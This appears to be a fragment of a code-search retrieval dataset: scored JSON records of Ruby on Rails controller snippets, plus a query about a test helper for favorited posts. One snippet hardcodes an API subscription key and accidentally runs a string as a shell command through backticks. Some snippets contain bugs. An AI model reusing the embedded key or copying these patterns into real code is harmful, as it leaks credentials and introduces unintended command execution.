"docid": "cd94b808a82491a1ce02541a822fd8c3",
"score": "0.55610377",
"text": "def index\n ## We don't ever want to show all restaurants.\n @restaurants = Restaurant.all.limit(20)\n #@restaurants = Restaurant.first\n\n render json: @restaurants\n end",
"title": ""
},
{
"docid": "aaac74208796e3d52d2999e2df4aaca7",
"score": "0.55565226",
"text": "def index\n @beers = Beer.paginate(:page => params[:page])\n respond_to do |format|\n format.html # index.html.erb\n format.js # index.js.erb\n format.json { render json: @beers }\n end\n end",
"title": ""
},
{
"docid": "e52daea982dd3aeb9deff336983df840",
"score": "0.55555904",
"text": "def index\n @rivers = River.all({:order => :name})\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rivers }\n end\n end",
"title": ""
},
{
"docid": "c2f41ec587d8af2ab1a8134399723885",
"score": "0.55539036",
"text": "def index\n @economy_bets = EconomyBet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @economy_bets }\n end\n end",
"title": ""
},
{
"docid": "8e2e3a54af42a8dcc01dfd41f983e58e",
"score": "0.55399144",
"text": "def index\n @auctions = Auction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @auctions }\n end\n end",
"title": ""
},
{
"docid": "96b5ac008b6205fdc4eb602d411327bd",
"score": "0.5539778",
"text": "def show\n uri = URI('https://api.ridemetro.org/data/CalculateItineraryByPoints')\n\n query = URI.encode_www_form({\n # Request parameters\n 'lat1' => '',\n 'lon1' => '',\n 'lat2' => '',\n 'lon2' => '',\n 'startTime' => `datetime'#{Time.now.utc.iso8601}'`,\n '$format' => 'JSON',\n '$orderby' => 'EndTime',\n '$expand' => 'Legs'\n })\n\n if uri.query && uri.query.length > 0\n uri.query += '&' + query\n else\n uri.query = query\n end\n\n request = Net::HTTP::Get.new(uri.request_uri)\n # Request headers\n request['Ocp-Apim-Subscription-Key'] = '6741c2454ce544309f5020fbd7b6e4ca'\n # Request body\n request.body = \"{body}\"\n\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n http.request(request)\n end\n\n puts \"response.body:\", response.body\n puts \"you made a get request I think?? (to #show or /itineraries/1?\"\n render json: response.body\n\n end",
"title": ""
},
{
"docid": "55c3f1f786d1a29d5017520671b8faed",
"score": "0.5538816",
"text": "def show\n @mostsmallterrain = Mostsmallterrain.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mostsmallterrain }\n end\n end",
"title": ""
},
{
"docid": "bb518d422e16d000ef051c45557bb5b0",
"score": "0.55347013",
"text": "def index\n @tees = Tee.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tees }\n end\n end",
"title": ""
},
{
"docid": "375b5b4634fbcf282593112630b69413",
"score": "0.5532378",
"text": "def index\n @entries = Entry.all\n\n render json: @entries\n end",
"title": ""
},
{
"docid": "6e91fd3f22d8fd2cc36c586968f9f3ec",
"score": "0.55318946",
"text": "def index\n @meals = Meal.all\n render json: @meals, status: 200\n end",
"title": ""
},
{
"docid": "c3c25df778934d9f7c2ee73ac919f164",
"score": "0.55316305",
"text": "def show\n\t\t@trucks = Truck.find(params[:truck_id])\n\t\t@meal = @trucks.meals.find(params[:id])\n\n\t\trender json: @diets_meals\n\tend",
"title": ""
},
{
"docid": "4571f5ed25a279e04789dda7822c1663",
"score": "0.5528362",
"text": "def show\n @m_beli_retur_b_d = MBeliReturBD.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @m_beli_retur_b_d }\n end\n end",
"title": ""
},
{
"docid": "f7f8d2c8859a8e08d00f8c345c8c4234",
"score": "0.5525234",
"text": "def index\n @baosong_bs = BaosongB.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @baosong_bs }\n end\n end",
"title": ""
},
{
"docid": "eed94fdb9b0501675c1350152476c58d",
"score": "0.55246305",
"text": "def show\n @main_worklist = MainWorklist.find(params[:main_worklist_id])\n @main_job = MainJob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @main_job }\n end\n end",
"title": ""
},
{
"docid": "364a622b3f8af750a9e4ca2d5993aafc",
"score": "0.55245674",
"text": "def index\n @boursiers = Boursier.all\n end",
"title": ""
},
{
"docid": "1715c81530a8f8ddbce7973bdce2dba8",
"score": "0.5524378",
"text": "def show\n @leftover = Leftover.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leftover }\n end\n end",
"title": ""
},
{
"docid": "8d062c98de7fbfe1985f482258c72e1b",
"score": "0.5520342",
"text": "def show\n @beer = Beer.find params[:id]\n\n respond_to do |format|\n format.json { render_for_api :public, :json => @beer }\n format.xml { render_for_api :public, :xml => @beer }\n end\n end",
"title": ""
},
{
"docid": "bc513f5a061a63bc91108feeff0aedb8",
"score": "0.55191785",
"text": "def index\n @sub_brands = SubBrand.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sub_brands }\n end\n end",
"title": ""
},
{
"docid": "4f3679e4cd669bcb0923efd2189c450f",
"score": "0.5514276",
"text": "def index\n render json: Shelf.all\n end",
"title": ""
},
{
"docid": "c7c34bdcdd3a8eac4066bae2ec8637bc",
"score": "0.5513205",
"text": "def index\n url = 'https://petapi-1.herokuapp.com/'\n @response = RestClient.get(url)\n @parsed = JSON.parse(@response)\n end",
"title": ""
},
{
"docid": "343ad9b86b801d431537292933b936b2",
"score": "0.5510774",
"text": "def index\n uri = \"#{SEVER1_BASE_URL}/wines.json\" # specifying json format in the URl\n uri_b = \"#{SEVER2_BASE_URL}/wines.json\" # specifying json format in the URl\n rest_resource = RestClient::Resource.new(uri) \n rest_resource_b = RestClient::Resource.new(uri_b) \n #It will create new rest-client resource so that we can call different methods of it\n wines = rest_resource.get \n #jpg = rest_resource.get, :accept => 'image/jpg'\n wines_b = rest_resource_b.get\n #will get back you all the detail in json format, but it will we wraped as string, so we will parse it in the next step.\n #@jpg = JSON.parse(jpg,:symbolize_names => true) \n @wines = JSON.parse(wines,:symbolize_names => true) \n @wines_b = JSON.parse(wines_b,:symbolize_names => true) \n # we will convert the return data into array of hash.see json data parsing here\n #session[:wines]=@wines\n #session[:wines_b]=@wines_b\n @wines=@wines+@wines_b\n @wines.sort!{|a,b| a[:Price].downcase <=> b[:Price].downcase}\n @wines.uniq!{|a| a[:Title]}\n @wines.sort!{|a,b| a[:Title].downcase <=> b[:Title].downcase}\n\n \n end",
"title": ""
},
{
"docid": "9b2cad6f256595b3c43cdb085eb6b8cd",
"score": "0.55087876",
"text": "def index\n monkeys = Monkey.all\n render json: monkeys\n \n end",
"title": ""
}
] |
45d65112296c9172b8ea5ff5c690f16e
|
Create favoring of given user_id and some generated posts Param : +user_id+:: the user id of user to peform the follow Returns : array of the odd post which is favored by the user
|
[
{
"docid": "a24368d77c20611642b61688e2fec4a6",
"score": "0.7595685",
"text": "def create_favoring(user_id) \n # create 20 post of topic1, favor odd id post\n posts = FactoryGirl.create_list(:post,20, user_id: user_id)\n #favoring odd index post\n favor_posts = posts.reject{|p| p.id % 2 ==0}\n favor_posts.each do |p|\n FactoryGirl.create(:favor, user_id: user_id, post_id: p.id)\n end\n favor_posts\n end",
"title": ""
}
] |
[
{
"docid": "7de64c5607f1b521387e08f7d103adc8",
"score": "0.6650629",
"text": "def post_favorite\n if current_user != nil\n if object.favorites.exists?(user_id: current_user.id)\n object.favorites.where(user_id: current_user.id).first\n else\n Favorite.new\n end\n else\n Favorite.new\n end\n end",
"title": ""
},
{
"docid": "289375d1bd37036b0ae7baa3b9e7e00c",
"score": "0.66262007",
"text": "def get_posts_of_users_followed_by(user_id)\n posts = get_db().execute(\"SELECT * from posts WHERE author_id IN (\n SELECT followed_id FROM user_follows_user WHERE following_id=?\n ) ORDER BY created DESC\", session[:user_id])\n get_likes(posts)\n end",
"title": ""
},
{
"docid": "e30761cce2a5ff0ae7bde70391e62a28",
"score": "0.66051334",
"text": "def post_favorite\n if object.favorites.exists?(user_id: current_user.id)\n object.favorites.where(user_id: current_user.id).first\n else\n Favorite.new\n end\n end",
"title": ""
},
{
"docid": "0e3dfc86547a286b1d7e8093ca9825fc",
"score": "0.65291625",
"text": "def favorite(user_id)\n user = User.find_by(id: user_id)\n\n if not user.nil? and not user.favorites.include? self.id\n user.favorites << self.id\n user.save\n self.favorited << user.id\n self.save\n puts \"Added link# #{self.id} to user# #{user_id}'s favorites\"\n end\n end",
"title": ""
},
{
"docid": "1fdd5f18049ad5ad5259e929fcbf58ed",
"score": "0.6488979",
"text": "def create\n @post = Post.find(params[:post_id])\n favorite_re = @post.favorites.build(user_id: current_user.id)\n if favorite_re.save\n answer3(current_user, @post)\n else\n redirect_back(fallback_location: root_path, alert: 'Favorite could not be sent.')\n end\n end",
"title": ""
},
{
"docid": "9fef7f35926c410095152ccde1d74a11",
"score": "0.62843823",
"text": "def add_fav(user)\n raise StandardError, \"このアイテムのオーナー様は、アイテムをお気に入り登録できません\" if self.user_id == user.id\n user.favorites.create!(item_id: self.id)\n end",
"title": ""
},
{
"docid": "36d50a9769b3dfad415e119b766ef14c",
"score": "0.6273317",
"text": "def get_favorites(user)\n favorites = Array.new(0)\n response = @esf.get_records_with_term(\"user\",user)\n response.each do |item|\n favorite = Favorites.new item\n favorites << favorite\n end\n end",
"title": ""
},
{
"docid": "f737a906b0feaaad141f76f1d208ceb4",
"score": "0.6250428",
"text": "def create\n @post = Post.find(params[:post_id])\n @favorite = Favorite.new(post_id: @post.id,user_id: current_user.id)\n @favorite.save\n # redirect_back(fallback_location: root_path)\n end",
"title": ""
},
{
"docid": "f915cf46de2552887201bbee89e0c0b1",
"score": "0.62182575",
"text": "def like(user_id)\n unless is_like?(user_id) \n Like.create(:user_id => user_id, :post_id => self.id )\n end\n end",
"title": ""
},
{
"docid": "01c655c2eb93d87e155ddba02e11cdf6",
"score": "0.6204418",
"text": "def feed\n relevant_user_ids = following_ids + [id]\n Post.where(\n author_id: relevant_user_ids,\n author_type: 'User'\n ).order('updated_at DESC')\n end",
"title": ""
},
{
"docid": "9390baf23adf088e1461355977a54631",
"score": "0.61677396",
"text": "def favorite_user(user_id)\n\t\tfavorites.find_by(user_id: user_id)\n\tend",
"title": ""
},
{
"docid": "9f661f813c0f989a409eba451f4c5fd0",
"score": "0.6149159",
"text": "def favourite_show\n @favourites = current_user.favourites.pluck(:post_id)\n @posts = Post.where(id: @favourites)\n # TODO check it\n end",
"title": ""
},
{
"docid": "314818145028d9e31e1e755848776d4c",
"score": "0.6144162",
"text": "def get_favorites(user)\n @favorites = Favorite.where(user_id: user.id)\n unless @favorites.nil?\n item_ids = []\n @favorites.each do |favorite|\n item_ids << favorite.item_id\n end\n @favorite_items = Item.find(item_ids)\n end\n end",
"title": ""
},
{
"docid": "5711adbc604a095d2d21e859c5536939",
"score": "0.61415744",
"text": "def favourite\n\t\t@favourite_check = current_user.favourites.where(\"user_id = ? and post_id = ? \",current_user.id, params[:id])\n\t\t@favourite = current_user.favourites.build(post_id: params[:id])\n\t\trespond_to do |format|\n\t\t\tif @favourite_check.exists?\n\t\t\t\t@favourite_check.delete_all\n\t\t\t\tformat.js\n\t\t\telse\n\t\t\t\t@favourite.save\n\t\t\t\tformat.js\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "70675fdcf4f04320905739c4b9d4a5b7",
"score": "0.6130967",
"text": "def follow\n @user = User.find(params[:id])\n authorize @user\n current_user.favorite(@user)\n redirect_to request.referrer\n end",
"title": ""
},
{
"docid": "ba43ff6bbadf6443a0df2294d4bba25f",
"score": "0.6123598",
"text": "def favorited(post)\n favorites.where(post_id: post.id).first\n end",
"title": ""
},
{
"docid": "30a68435b1e8ce0863a6d3f18047710f",
"score": "0.6085286",
"text": "def new_posts(users)\n print \"\\nchecking for posts: \"\n users.each do |user|\n rand(1..5).times do\n print '.'\n user.posts.create!(\n message: Faker::ChuckNorris.fact\n )\n end if user.posts_count < 2\n end\nend",
"title": ""
},
{
"docid": "b2b084ce591026f9961e076f44f6a359",
"score": "0.60711676",
"text": "def set_favorite_post\n @post = FavoritePost.find_by(user_id: @current_user.id, post_id: params[:id])\n end",
"title": ""
},
{
"docid": "5359d4e18cdf6d6322408eaf7b846105",
"score": "0.6068123",
"text": "def new_posts(users)\n print \"\\nchecking for posts: \"\n users.each do |user|\n 3.times do\n print '.'\n user.posts.create!(\n title: Faker::Book.title,\n body: Faker::Hipster.paragraphs(4).join(\"\\n\\n\"),\n photo: Faker::LoremPixel.image(\"400x400\", false, 'transport', rand(1..10)),\n summary: Faker::HarryPotter.quote,\n created_at: rand(1...700).days.ago\n )\n end if user.posts.count < 3\n end\nend",
"title": ""
},
{
"docid": "a365993d26f6ca2afbc11d787962d56e",
"score": "0.6044367",
"text": "def add_favorite(user)\n Favorite.create!(user: user, question: self)\n end",
"title": ""
},
{
"docid": "34d812238d97a4886d6b0f91fb33cd41",
"score": "0.6014018",
"text": "def feed\n following_ids = \"SELECT following_id FROM follows\n WHERE follower_id = :user_id\"\n Post.where(\"user_id IN (#{following_ids})\n OR user_id = :user_id\", user_id: id)\n end",
"title": ""
},
{
"docid": "980387b64555552b1cf0b4d293e72f89",
"score": "0.60084945",
"text": "def favorite!(micropost)\n favorites.create!(micropost_id: micropost.id)\n end",
"title": ""
},
{
"docid": "e606df6788878b41a0d30be533a2774e",
"score": "0.60047853",
"text": "def feed\n following_ids = 'SELECT following_id FROM follows\n WHERE follower_id = :user_id'\n Post.where(\"user_id IN (#{following_ids})\n OR user_id = :user_id\", user_id: id)\n end",
"title": ""
},
{
"docid": "061e4927950490230aef9ce8b0bc195c",
"score": "0.5994691",
"text": "def feed\n following_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n Post.where(\"user_id IN (#{following_ids})\n OR user_id = :user_id\", user_id: id)\n end",
"title": ""
},
{
"docid": "df573ae7563d35b8b2be10da6583edd5",
"score": "0.5993003",
"text": "def favorite(micropost)\n favorites.find_or_create_by(micropost_id: micropost.id)\n end",
"title": ""
},
{
"docid": "4e3ff2290a5c15c9d9693cc50c4209c1",
"score": "0.598767",
"text": "def favorite_for(post)\n favorites.where(post_id: post.id).first\n end",
"title": ""
},
{
"docid": "7e49786e095eb754baeb0432ed54f1fe",
"score": "0.59777343",
"text": "def toggle_favourite(user_id)\n if existing = favourites.find_by_user_id(user_id)\n favourites.delete(existing)\n else\n favourites.create!(:user_id => user_id)\n end \n end",
"title": ""
},
{
"docid": "c563e9e93b1cb3555da8f970570bfabd",
"score": "0.59545094",
"text": "def feed\r\n following_ids = \"SELECT followed_id FROM relationships\r\n WHERE follower_id = :user_id\"\r\n Post.where(\"user_id IN (#{following_ids})\r\n OR user_id = :user_id\", user_id: id)\r\n end",
"title": ""
},
{
"docid": "006e81105bb7edb719e890f439d179ad",
"score": "0.59467053",
"text": "def feed\n following_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n Post.where(\"user_id IN (#{following_ids})\n OR user_id = :user_id\", user_id: id)\n end",
"title": ""
},
{
"docid": "006e81105bb7edb719e890f439d179ad",
"score": "0.59467053",
"text": "def feed\n following_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n Post.where(\"user_id IN (#{following_ids})\n OR user_id = :user_id\", user_id: id)\n end",
"title": ""
},
{
"docid": "deb759de8aeb1f940875f1bd7134ad9f",
"score": "0.5943579",
"text": "def likepost(params, user_id)\n db = getdb()\n result = db.execute(\"INSERT INTO likes (author_id, post_like_id ) VALUES (?,?)\", user_id, params[\"post_id\"])\n end",
"title": ""
},
{
"docid": "0e2e2676547d708e0421f2ac386d3214",
"score": "0.59429085",
"text": "def favorited_by?(user)\n blog_favorites.where(user_id: user.id).exists?\n end",
"title": ""
},
{
"docid": "a2e2347c3da4a795e07b1d79e6583edc",
"score": "0.5941095",
"text": "def favorite\n turing_machine = TuringMachine.find(params[:id])\n user = User.find(session[:user_id])\n if not user.like_ids.include? turing_machine.id\n turing_machine.increase_users_count\n user.likes << turing_machine\n end\n \n respond_to do |format|\n format.html { redirect_to :back }\n format.json { render :json => { 'favorited' => true, 'href' => unfavorite_turing_machine_path(turing_machine), 'users_count' => turing_machine.users_count } }\n end\n end",
"title": ""
},
{
"docid": "49f967cb632d9b6f5ad3b4c272e34c69",
"score": "0.59397507",
"text": "def get_favorites(user_id,&block)\n get :user_favorites, :user_id => user_id\n parse_photos(&block)\n end",
"title": ""
},
{
"docid": "a25e495c3764e397eaeedda39cfb3535",
"score": "0.59322405",
"text": "def feed\n following_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n\n Post.where(\"user_id IN (#{following_ids})\n OR user_id = :user_id\", user_id: id)\n end",
"title": ""
},
{
"docid": "fb83f438cd9a6c7c6712ae888c6e4325",
"score": "0.59260696",
"text": "def feed\n following_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n Post.where(\"user_id IN (#{following_ids})\n OR user_id = :user_id\", user_id: id)\n end",
"title": ""
},
{
"docid": "c5d87099d026e2c9184337879a9ec866",
"score": "0.59137404",
"text": "def feed\n follow_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n Post.where(\"user_id IN (#{follow_ids})\n OR user_id = :user_id\", user_id: id)\n end",
"title": ""
},
{
"docid": "66c40e0cb43025de82023b3a451c1224",
"score": "0.5913501",
"text": "def feed\n Post.where(\"user_id IN (:following_ids) OR user_id = :user_id\",\n following_ids: following_ids, user_id: id)\n end",
"title": ""
},
{
"docid": "75b0cfeb1649e00e30dcdc8a272fa89b",
"score": "0.5910114",
"text": "def create_post_user\n\n ar = params[:post_user]\n h_obj = Hash.new\n ar.each do |obj|\n h_obj = obj\n end\n\n @post_users = nil\n # Rails.logger.info('in create_post_user - ' + h_obj[:post_text])\n \n h_post_user = Hash.new\n h_post_user[:post_text] = h_obj[:post_text]\n\n if @@current_post_user.nil?\n post_user = current_user.post_users.build(h_post_user)\n if post_user.save\n @@current_post_user = nil\n # @post_user_presave = nil\n @post_users = current_user.post_users\n # @post_user_files_presave = nil \n else\n # @feed_items = []\n end\n else\n @@current_post_user.update_attributes(h_post_user) \n end\n\n @@current_post_user = nil\n @post_users = current_user.feed.paginate(:page => params[:page], :per_page => 100)\n \n end",
"title": ""
},
{
"docid": "75aaed3af343a76e94529da14f1f7cba",
"score": "0.5901339",
"text": "def favorite_for(post)\n favorites.where(post_id: post.id).first\n end",
"title": ""
},
{
"docid": "75aaed3af343a76e94529da14f1f7cba",
"score": "0.5901339",
"text": "def favorite_for(post)\n favorites.where(post_id: post.id).first\n end",
"title": ""
},
{
"docid": "75aaed3af343a76e94529da14f1f7cba",
"score": "0.5901339",
"text": "def favorite_for(post)\n favorites.where(post_id: post.id).first\n end",
"title": ""
},
{
"docid": "d24214ebdb0778c02fdddb3bbdf13c7f",
"score": "0.5901077",
"text": "def create(user_id, favourite)\n @store[user_id] = {} unless @store[user_id]\n @store[user_id][favourite[\"venue_id\"]] = favourite\n end",
"title": ""
},
{
"docid": "d1cf701c425ab227cd271d21e3f011b6",
"score": "0.58929217",
"text": "def user_favorites(user_id, options={})\n self.class.get(\"/users/#{user_id}/favorites\", options)\n end",
"title": ""
},
{
"docid": "7f0b3261c6d87e2f99a51006e2c9c52d",
"score": "0.58898467",
"text": "def favorite?(user_id)\n user_recipe_favorites.exists?(user_id: user_id)\n end",
"title": ""
},
{
"docid": "7afbe1605635db645654e228d5d7c460",
"score": "0.58870405",
"text": "def create\n @user = User.find(params[:user_id])\n @userpost = Userpost.create(params[:userpost])\n @user.userposts << @userpost\n redirect_to user_path(@user)\n end",
"title": ""
},
{
"docid": "5de90dae190d06b47ffa49fd7fc58303",
"score": "0.58807313",
"text": "def record_favorite\n unless current_user.nil?\n if params[:actionToDo] == 'add'\n if current_user.emotes.count <= current_user.favorites_count\n \n favorite_emote = FavoriteEmote.where :user_id => current_user.id, :emote_id => params[:id]\n emote = Emote.find(params[:id])\n \n # Update the popularity value by 4\n # emote.popularity = emote.popularity + 4\n # emote.popularity.incr 4\n Emote.popularity.incr(emote.id, 4)\n emote.favorites.increment\n emote.favorites_all_time.increment\n \n if favorite_emote.empty?\n favorite_emote = FavoriteEmote.new\n favorite_emote.user_id = current_user.id\n favorite_emote.emote_id = params[:id]\n favorite_emote.save\n \n render :text => \"#{emote.text} successfully saved as a favorite.\"\n else\n render :text => \"#{emote.text} is already saved as a favorite.\"\n end\n else\n render :text => \"You have reached your maximum allocation of favorites.\"\n end\n elsif params[:actionToDo] == 'remove'\n favorite_emote = FavoriteEmote.where :user_id => current_user.id, :emote_id => params[:id]\n emote = Emote.find(params[:id])\n\n Emote.popularity.decr(emote.id, 2)\n emote.favorites.decrement\n #emote.popularity = emote.popularity - 2\n \n unless favorite_emote.empty?\n favorite_emote.first.destroy\n\n render :text => \"#{emote.text} favorite successfully deleted.\"\n else\n render :text => \"No favorite for #{emote.text} found.\"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "5c4f1431f75a9d57cde919006bc8bb74",
"score": "0.5880296",
"text": "def feed\n\t\tPost.where(\"user_id IN (?) OR user_id = ?\", following.ids, id)\n\tend",
"title": ""
},
{
"docid": "197d750686e9b7e72e266734506277ee",
"score": "0.5873352",
"text": "def favorite(newmicropost)\n self.favorites.find_or_create_by(newmicropost_id: newmicropost.id)\n end",
"title": ""
},
{
"docid": "3e5effb319cdf046cc8e80a4b3ad46d4",
"score": "0.58616287",
"text": "def favorite_for(post)\n favorites.where(post_id: post.id).first\n end",
"title": ""
},
{
"docid": "0e457e58386853ac80faba9596f5c2af",
"score": "0.5859605",
"text": "def favorited(post)\n self.favorites.where(post_id: post.id).first\n end",
"title": ""
},
{
"docid": "5396f808d4e361667a133254ac013b71",
"score": "0.5857886",
"text": "def liked(user_id, post_id)\n\t\texisting = get_db().execute(\"SELECT * FROM user_likes_post WHERE user_id=? AND post_id=?\", [user_id, post_id])\n\t\t!existing.empty?\n end",
"title": ""
},
{
"docid": "4b0636522f67f7665b5eb2654f0624ef",
"score": "0.5853399",
"text": "def get_favs\n new_favs = []\n\n page.css('.post').each do |post|\n post_link = post.css(\".post_title\").first\n blog_link = post.css('.hub').first\n\n # post info\n post_title = post_link.text\n post_href = post_link[:href]\n href_parts = post_href.split('/')\n post_id = href_parts[-1]\n tags = post.css(\".tags a\").map{|tag| tag.text.strip}\n\n # blog info\n blog_title = blog_link.text\n blog_slug = href_parts[4]\n\n # if topic is a topic-link\n if blog_slug == \"go\"\n blog_href_parts = blog_link[:href].split('/')\n blog_slug = blog_href_parts[-1]\n # if link is in a corporate blog\n blog_slug = blog_href_parts[-2] if blog_slug == \"blog\"\n end\n\n new_fav = Habr::Fav.new :user => @userslug, :post => {\n :id => post_id, :title => post_title, :tags => tags,\n :blog => { :slug => blog_slug, :title => blog_title }\n }\n\n new_favs << new_fav\n end\n\n new_favs\n end",
"title": ""
},
{
"docid": "6054447af33db6d45a6a44f5b7ceb413",
"score": "0.5851688",
"text": "def get_stream_for_user(user_id)\n \n @posts = []\n followings = User.find(user_id).follows\n followings.each do |following|\n cur_loc = following.location\n cur_loc.posts.each do |posting|\n posting_hash = posting.to_hash\n posting_hash[:author] = posting.user.name\n posting_hash[:created_at]=posting.created_at\n posting_hash[:location]=cur_loc.to_hash\n @posts << posting_hash\n end\n end\n @posts.sort_by! do |post_hsh|\n post_hsh[:created_at]\n end.reverse!\n end",
"title": ""
},
{
"docid": "b3a07407cea6446a9c8bacf3ca21ffe0",
"score": "0.584603",
"text": "def add_to_fav(user)\n return 'Invalid story' unless valid?\n return 'Oops, cannot fav your own story!' unless self.user != user\n\n begin\n user.favorites << self\n return user.save ? 'Faved!' : 'Please try again'\n rescue\n user.favorites.delete self\n return 'Unfaved'\n end\n end",
"title": ""
},
{
"docid": "1288f9a03e06a5a80669926cddbec240",
"score": "0.58459115",
"text": "def users_favorites\n\tputs \"Creating Users and Favorites\"\n\tUser.delete_all\n\tFavorite.delete_all\n\talphabet = \"a\"\n\t20.times do \n\t\tu = User.create(email: \"#{alphabet}@#{alphabet}.com\", password: \"a\")\n\t\tputs \"USER: #{u.email}(#{u.id})\"\n\t\t20.times do\n\t\t\trandom_recipe = Recipe.all.sample.id\n\t\t\twhile !(Favorite.find_by(user_id: u.id, recipe_id: random_recipe)).nil?\n\t\t\t\trandom_recipe = Recipe.all.sample.id\n\t\t\tend\n\t\t\tf = Favorite.create(user_id: u.id, recipe_id: random_recipe)\n\t\t\tputs \"\\tFAVORITE: #{f.recipe.name}(#{f.id})\"\n\t\tend\n\t\talphabet.next!\n\tend\nend",
"title": ""
},
{
"docid": "5c2d8ba709a78820e59a1c6151e3b4e3",
"score": "0.5845595",
"text": "def find_friends_posts_by_userid(user_id)\n friendships = self.find_friendships_by_userid(user_id)\n \n posts = Array.new\n friendships.each do |friendship|\n posts = self.find_posts_by_userid(friendship.friend)\n end\n \n return posts\n end",
"title": ""
},
{
"docid": "7ea5a1adab3ed64159fbf83a2d574f34",
"score": "0.58171594",
"text": "def from_favorite_artists_of(user)\n id_not_in(user.listened_to_today_ids)\n .user_id_in(user.most_listened_to_user_ids(10))\n .random_order\n end",
"title": ""
},
{
"docid": "ceee57dd440b4ca3e97b3780f1c01473",
"score": "0.58164734",
"text": "def find_userposts_by_userid(user_id)\n \n end",
"title": ""
},
{
"docid": "202c92183d123ff123bd3a7920c03201",
"score": "0.5805852",
"text": "def favorite(tweet)\n Favorite.create(user: self, tweet: tweet, author: tweet.user)\n end",
"title": ""
},
{
"docid": "d5232dd0e63d04264a828f1d01e5e4b6",
"score": "0.58057433",
"text": "def create\n\n # Hardcoded to Tag currently. Should support more -- extract from nested route\n raise \"tag_id only!\" if params[:tag_id].blank?\n attrs = { object_id: params[:tag_id], object_type: 'Tag' }\n\n fave = current_user.favorites.where(attrs).first\n if fave\n fave.destroy\n flash[:notice] = \"Unfavorited...\"\n else\n current_user.favorites.create!(attrs)\n flash[:notice] = \"Favorited!\"\n end\n redirect_to :back and return\n end",
"title": ""
},
{
"docid": "dd3b74c21f90f7f78221b0eb38f396db",
"score": "0.57981133",
"text": "def mark_as_read\n ##find or create post in db. add relation so future searches won't include this\n post = Post.find_or_create_by(tweet_id: params[\"tweetId\"])\n PostsUsers.create(post_id: post.id, user_id: current_user.id, tweet_id: post.tweet_id)\n end",
"title": ""
},
{
"docid": "2f2cccc71db3985146c7fda98032c671",
"score": "0.57978255",
"text": "def favorit(micropost)\n favorites.find_or_create_by(micropost_id: micropost.id)\n end",
"title": ""
},
{
"docid": "c2bbf1fda0be61895413de8fbb10651e",
"score": "0.5789648",
"text": "def explore\n @posts = Post.all\n @newPost = Post.new\n @toFollow=User.all.last(5)\n end",
"title": ""
},
{
"docid": "11533aef5e2099afe469b2df8ced46d5",
"score": "0.5785075",
"text": "def deliver(user, post)\n user = User.wrap(user)\n post = Post.wrap(post)\n return logger.debug('deliver: cannot find post') unless post\n return logger.debug('deliver: cannot find user') unless user\n return logger.debug('deliver: cannot find post.user') unless post.user\n return logger.debug('deliver: cannot find post.topic') unless post.topic\n return logger.debug('deliver: cannot find post.topic.user') unless post.topic.user\n return logger.debug('deliver: blacklisted') if user.disliked?(post.user) or user.disliked?(post.topic.user)\n return logger.debug('deliver: user is not active') unless user.state.in?(%w(pending active))\n\n if post.is_a?(Repost)\n delay.deliver_repost(user.id, post.id)\n else\n res = where(user_id: user.id, topic_id: post.topic_id).find_and_modify({\n '$inc' => {score: Score.again(post, user)},\n '$addToSet' => {post_ids: post.id},\n '$set' => {read: false}\n }, new: true)\n unless res\n Rails.logger.debug(\n user_id: user.id,\n topic_id: post.topic_id,\n group_id: post.group_id || post.topic.group_id,\n post_ids: [post.id],\n read: false,\n score: Score.initial(post, user),\n created_at: post.topic.created_at.utc\n )\n create!(\n user_id: user.id,\n topic_id: post.topic_id,\n group_id: post.group_id || post.topic.group_id,\n post_ids: [post.id],\n read: false,\n score: Score.initial(post, user),\n created_at: post.topic.created_at.utc\n )\n end\n end\n end",
"title": ""
},
{
"docid": "142ab86b7bf386666e55b975b560facf",
"score": "0.57770115",
"text": "def Postgrabber(my_user)\n \n my_array = []\n for f in my_user.followings\n for p in User.find(f.following_id).posts\n \n my_array << p \n end\n end\n #grabs an array of timestapms\n array_time = []\n for a in my_array\n array_time << a.timecreated\n end\n #sorts timestamp in order and puts the corresponding posts in array_want\n array_want = []\n for a in array_time.sort\n for b in my_array\n if a == b.timecreated\n array_want << b\n end\n end\n end\n #deletes repeating entries\n no_repeat = []\n lg = array_want.length\n no_repeat << array_want[0]\n for a in (0...lg)\n if array_want[a] != array_want[a+1]\n no_repeat << array_want[a+1]\n end\n end\n\n return no_repeat\nend",
"title": ""
},
{
"docid": "767f6c97f7b3911aa901f3690bd845db",
"score": "0.5776376",
"text": "def get_user_favorites(user_id, limit)\n return fetch_pages_for(limit) do |limit, offset|\n @client.get(\"/users/#{user_id}/favorites\", :limit => limit, :offset => offset).map(&:id)\n end\n end",
"title": ""
},
{
"docid": "7b72fb4ac8296e97ee7dbf508a90cb91",
"score": "0.5768793",
"text": "def get_stream_for_user(user_id)\n user_posts = []\n num = 0\n posts = Post.where(:location_id => Follow.joins(:location).where(:user_id => user_id).select(\"location_id\")).order(\"created_at DESC\")\n \tposts.each do |entry|\n\t\t name = User.find(entry[:user_id])[:name]\n\t\t user_posts[num] = {:author_id => entry[:user_id], :author => name, :text => entry[:text], :created_at => entry[:created_at], :location => Location.find(entry[:location_id])}\n\t num+=1\n end\n @posts = user_posts || []\n end",
"title": ""
},
{
"docid": "1592c543746b2a6d1dac739ecd3e91e2",
"score": "0.5766813",
"text": "def explore\n @posts = Post.all\n @newPost = Post.new\n @toFollow = User.all.last(5)\n end",
"title": ""
},
